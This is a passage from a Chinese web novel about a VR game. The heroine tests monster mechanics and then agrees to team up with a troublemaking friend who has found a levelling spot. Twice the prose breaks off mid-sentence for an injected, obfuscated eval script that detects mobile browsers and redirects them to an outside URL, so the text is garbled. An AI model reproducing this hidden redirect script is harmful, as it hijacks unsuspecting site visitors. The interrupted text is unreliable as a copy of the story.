不出所料的，离开村口的小路进入树林后，周围目前一个别的玩家也没有。 这让杨曦心情不错。说明她是稳稳领先的。 进入树林一段路后，杨曦首先遇上的怪是——一群灰色刺猬。 她谨慎地保持了一段距离，观察了片刻，选了只落单的一个二段跳拿着手里的木剑上去砍了一下。 一段伤害数字从刺猬灰扑扑的背脊上跳了出来，杨曦立刻往后退，边跑边回头看，发现连续跑了十来步时，追过来的刺猬调头了。 OK，她在心里记下了，拉脱怪物需要这个距离。 接着，杨曦站在树边打开战斗系统查看。她用剑砍一下，造成伤害值显示是21，而刺猬的血量是300，等级是4。 也就是需要A十多下才能造成击杀。 算清楚后，杨曦又折返回去，开始朝着刺猬群进行进一步的测试了。 ——这游戏有“弱点暴击”设定，将刺猬挑翻过来再砍造成的伤害是正常普攻的五倍。 ——这游戏有“重伤累加”设定，持续砍向同一个位置，刺猬的尖刺会逐渐显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094593|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示损伤状态，部位防御力下降，一定程度后判定为“弱点暴击”。 ——刺猬受击后可能会施放“嚎叫”技能，将引起一定范围内其他怪物联动攻击。 ——击杀怪物十次以上后，系统将自动探查怪物属性与特性。 …… 半小时后，杨曦一个人把这一小片刺猬怪差不多给清完了，等级升到了5级半。 这东西杀了几只之后就可以很熟练了，先挑翻后补刺，十秒就杀一只。就是给的经验也有点磕碜。 这种普通野怪“尸体”的刷新时间是5分钟，没刷走之前可以上去使用游戏系统的初始采集技能，概率得一枚刺猬刺或者一块兽肉。 爆率不高，杨曦杀了上百只，道具只搞了十来份。 离开刺猬林，杨曦路上又找到几片显示可以采集的草药。 等她发现采集药材耗费精力值，并且只给“采集经验”而不加人物经验时，她就完全失去了兴趣。 人物初始包裹有八格，除了新手村任务给的两瓶红蓝小药占了两格外，药材和掉落物再占三格，空位就剩一半了。 这游戏的数值系统目前看来分为气力值、精力值、血条、蓝条四个。 气力值对应的是游戏人物移动系统，疾走、小跑、疾跑、轻功等四个移动状态消耗气力值逐级递增，只要人物速度慢下来，气力值条就会迅速回复。 精力值对应人物的日常活动系统，杨曦推测除了采集外，其它她还没体验的什么挖矿、锻造、烹饪之类常见的游戏生活技能应该都会计入精力值消耗系统。按其他游戏的设定推断，应该可以通过药水恢复以及按日刷新。 血条和蓝条则就属于战斗系统了。 依旧是中规中矩的设定。 杨曦又深入树林走了一段，遇到一群“野山羊”。 她丢了个技能试了试，发现这玩意儿是群6级怪，而且不像刺猬有明显的弱点，单人有点难刷。 杨曦于是准备摇人。 人物升到5级时，好友系统就开放了。 杨曦选择原地下线，准备去找找有谁和她分到一个新手村，组过来一起刷级。 17. Chapter17 Chapter17组队 连续玩了几个小时游戏，虽然杨曦还是个年轻人，但疲惫还是稍微有点的。 摘下头盔从电竞房里出来，杨曦躺进了客厅的沙发里，一边编辑朋友圈一边给自己点了杯奶茶。 嗯……再来两条麻辣烤兔腿吧，再配半只烧鸡，冰加辣爽翻天。 然后她再按等外卖，一边在帮会群和朋友圈都发了新手六村求组队的消息。 杨曦正撑着下巴回复叮叮当当响起的一串串私聊时，忽然一个语音通话唰地弹了出来。 又是王金牛这厮。 杨曦翻了个白眼。 “你在六日村啊？”王金牛一接通就喊道，“俺也在啊！走走走，一起一起。” “……”面对这份热情的邀请，杨曦可疑地沉默了一下。 王金牛：“啥意思啊？看不上俺啊？” “也不是。”杨曦实事求是地说道，“但是和你组，我们就没法组满队了。我不能让别人看见我和你一个队。” 王金牛：“嗨，就咱们两人就足够了呗！你忘了之前咱双人成行干了多少出生事儿的时候了吗，多快乐啊！” 杨曦听了十分感动，说道：“NO，我不，你自个儿玩吧。” 王金牛：“你咋这样。” 杨曦正准备挂断语音，对面的王金牛仿佛能猜到她的动作似的大声叫道：“喂！别挂啊！你挂了可就听不见俺说俺刚找的练级神地了啊！” 杨曦一顿：“什么练级神地？” “这才开服多久？你就找到地方练级了？你任务都跑完了？”这可不像王金牛，杨曦狐疑地说，“你别是框我吧。” 难道王金牛跟她一样也是内测玩家？ 也不太可能啊。方舟创造工作室总不会往那种偏远山区选内测人员吧，那出来一趟来回得多费劲呢。 “哎呀，谁爱跑那劳什子任务呢！”王金牛说，“我就把背包和装备拿了我就没再做任务了，我跑村口那块儿，准备试试这游戏野外搁哪儿呢。” 杨曦：“……” 怎么说呢，好像已经猜到接下来的剧情走向了呢。 “然后我就发现出了村口那个石头桥啊，我还是没法子锁定其他路过的玩家开红啊。不知道是不算野外，还是说现在有啥新手保护期呢，反正就打不了。”王金牛的语气很郁闷，“然后吧，俺一生气，正好看见旁边有个挑水路过的NPC老大爷……” “你上去打它了？”杨曦问。 “对啊！”王金牛啪一拍大腿，“我寻思我就随手试试呢！结果一剑砍过去，造成了伤害，就一点！然后！那NPC大爷大喊一声，放下水桶提起扁担就给我秒了！” 杨曦说：“真有你的。” “俺就打了一点伤害啊，真的就是数字1，1点啊！”王金牛很委屈，“反手就给俺杀了！然后你猜怎么着啊？俺复活之后在村里面走，系统就一直提示我身上有罪恶值，之后俺在村里每待几分钟，就有NPC过来要给俺抓走！” 杨曦听到这儿已经深深无语了。怎么有人开服仅仅两三个小时就这么能惹是生非的？ 但一想到是王金牛这个神人，好像又变得合理了起来。 “那你这样，我也帮不了你。”杨曦冷漠地说道，“还有事儿没？没有我挂了。” “你别急啊！一点儿耐心都没有呢你这人！俺还没说完呢！”王金牛不满地咂了下舌头，“后来，那些村民老抓俺，俺打他们只有1点伤害，人家打俺一扁担就给秒了，俺只能跑啊。” “嗯嗯，”杨曦一边看了眼外卖送达时间，一边敷衍地道：“然后呢？” “然后俺就一路被撵出村口啦。俺死了两次之后就跑得很快，那群NPC都追不上我了。”王金牛用一种自豪的语气说道，好像这是件什么值得骄傲的事：“但是它们人实在太多了啊，还是给我追到村后那片后山上去了。后山林子里面怪挺多的，都是6级以上的怪，鹿啊狐狸之类的，皮特别厚，不太好打。” “嗯嗯，”杨曦：“然后呢？” “然后我发现后山后面有个小瀑布啊，路挺难走的，跟俺家后边那片似的，特陡！得亏是俺王金牛啊，别人去没准早都摔死好几回了！俺在山上面听见水声，一路跟着摸过去的。”王金牛说着，她只要一激动，张嘴就开始俺啊俺的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094594|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一度被杨曦戏称为泥巴味普通话，“俺看见瀑布下面连着个水潭，这游戏刷了好多怪在周围喝水啊！俺甚至看到好几只九级的怪呢。” “九级的怪我们打不了。”杨曦说道，“数值差太多了，组满队估计也打不动。” 根据她上午已经刷了一会儿怪的体验判断，羲和里怪物随等级增加的属性比同级的玩家要高出不少。 “这俺能不知道吗。”王金牛啧了一声，“那就关于俺要说的另一件事了嘛。” “嗯嗯，”杨曦说，“什么事？” “俺在后山上摸了一圈，发现了一个猎户小屋。俺去的时候屋里没人，俺就进去摸了一圈，拾到一把弓和一篓箭，装的还是铁箭头呢。”王金牛说道：“但俺也寻思了，俺俩等级太低，就算装备好，可能也打不动。好在，俺又翻了翻，发现在屋子后面的院墙上，还挂了好几个捕兽夹，也是铁的，看着挺大一个，俺也都给拾走了。” 杨曦：“……” 好一个“拾”字啊，这是上别人家里捡东西去了。 她来了点兴趣，问道：“那把弓是多少级的？你能装上吗？捕兽夹，这玩意儿也能装备？” “显示是八级的武器啊，我暂时还装不上。”王金牛嘿嘿一笑，“不过那堆捕兽夹是可以用的，我当时试了一下，系统提示我学会了一个陷阱技能。这东西伤害很可观的，一下就给一个5级的兔子夹死了。而且捕兽夹还可以回收啊，耐久度一次掉百分之十几，能用好几次呢。” “怎么样啊？来不来啊？”她说道，“我跟你说，你跟我刷级，比你组一队人都快的。” “……”杨曦陷入沉思。 听上去好像确实不错。这么多年来，王金牛这人惹是生非的水平和游戏水平一向成正比，看来就算换到了全息游戏，天赋这块上也还是仍然有点说法的。 杨曦于是说：“行，你坐标给我，我吃完饭就来找你。” “俺回头游戏里发你。”王金牛说，然后不怀好意地嘿笑了两声：“不过，要不要俺下山来接你啊？路可不好走。” 杨曦牵了牵嘴角，心想我在羲和里爬山的时候，你丫还在吃奶。